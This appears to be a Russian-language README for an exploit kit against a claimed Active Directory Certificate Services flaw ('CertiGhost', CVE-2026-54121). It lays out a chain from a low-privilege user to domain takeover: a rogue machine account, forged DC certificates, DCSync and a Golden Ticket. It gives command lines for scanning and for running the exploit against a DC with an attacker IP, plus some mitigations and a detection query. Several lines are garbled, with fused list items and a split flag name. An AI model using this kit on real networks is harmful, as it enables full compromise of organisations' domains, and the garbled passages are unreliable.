
Эксплойт-кит для AD CS CVE-2026-54121: пользователи домена с низкими привилегиями выдают себя за контроллер домена, подделывают сертификаты и компрометируют домен с помощью DCSync/Golden Ticket.
CertiGhost — это критическая уязвимость (CVSS 8.8) в службах сертификации Active Directory (AD CS), которая позволяет непривилегированному пользователю домена выдать себя за контроллер домена и получить полный контроль над доменом.
Механизм «chase» fallback в AD CS позволяет запрашивающей стороне указывать атрибуты cdc (Client DC) и rmd (Remote Domain) в запросе на сертификат. ЦС обращается к указанной цели cdc для получения данных об удостоверении, не проверяя, что это легитимный контроллер домена.
Цепочка атаки:
ms-DS-MachineAccountQuota)cdc, указывающим на хост атакующегоkrbtgt → Golden Ticket → полный захват домена| Документ | Содержание |
|---|---|
| USAGE.md | Подробное руководство по использованию с пошаговыми инструкциями |
| DIAGRAM.md | Структурные схемы и визуализация цепочки атаки |
Stage 1 Stage 2 Stage 3 Stage 4 Stage 5 Stage 6
LDAP Disc. → Machine Acct → Rogue Svc → Cert Request → PKINIT Auth → DCSync
│ │ │ │ │ │
▼ ▼ ▼ ▼ ▼ ▼
Find DC/CA SAMR create LDAP :389 cdc+rmd attr TGT as DC01$ krbtgt hash
+ SID/DN DESKTOP-XX$ SMB :445 → CA chases → KDC accepts → Golden
+ SPNs relay attacker host cert as DC Ticket
Полные архитектурные схемы см. в DIAGRAM.md.
pip install -r requirements.txt
# Unauthenticated scan
python ad_detect.py
# Authenticated scan (recommended)
python ad_detect.py -u DOMAIN\\username -p 'Password123'
# With specific DC
python ad_detect.py -u DOMAIN\\user -p 'pass' --dc-ip 10.x.x.x
python certighost_test.py -d example.com --detect
python certighost_test.py -d example.com -u lowpriv_user -p 'Password123' --detect
python certighost_test.py -d example.com -u lowpriv_user -p 'Password123' \
--dc-ip 10.0.0.10 --attacker-ip 10.0.0.99 --exploit
ms-DS-MachineAccountQuotaEDITF_ENABLECHA SECLIENTDCms-DS-MachineAccountQuota > 0 (по умолчанию: 10)# Apply July 2026 Security Update on all CA servers
# Temporary mitigation - disable chase fallback
certutil -setreg policy\EditFlags -EDITF_ENABLECHA SECLIENTDC
Restart-Service CertSvc -Force
ms-DS-MachineAccountQuota в значение 0ENROLLEE_SUPPLIES_SUBJECT из шаблоновcdc/rmdСогласно блогу Microsoft Threat Protection, разверните следующий запрос расширенного поиска угроз (advanced hunting):
// Detect CertiGhost certificate requests with cdc/rmd attributes
let CertSvcEvents = DeviceEvents
| where ActionType == "CertSvcRequestSubmitted"
| extend RequestAttributes = parse_json(AdditionalFields).RequestAttributes
| where RequestAttributes has "cdc" or RequestAttributes has "rmd";
CertSvcEvents
| project Timestamp, DeviceName, InitiatingProcessAccountName, RequestAttributes
| Файл | Назначение |
|---|
certighost_exploit.py | Полная реализация цепочки эксплойта |
certighost_test.py | Инструмент обнаружения и эксплуатации с CLI |
ad_detect.py | Быстрое целевое сканирование для обнаружения |
test_exploit.py | Модульные тесты для всех компонентов эксплойта (55 тестов) |
requirements.txt | Зависимости Python |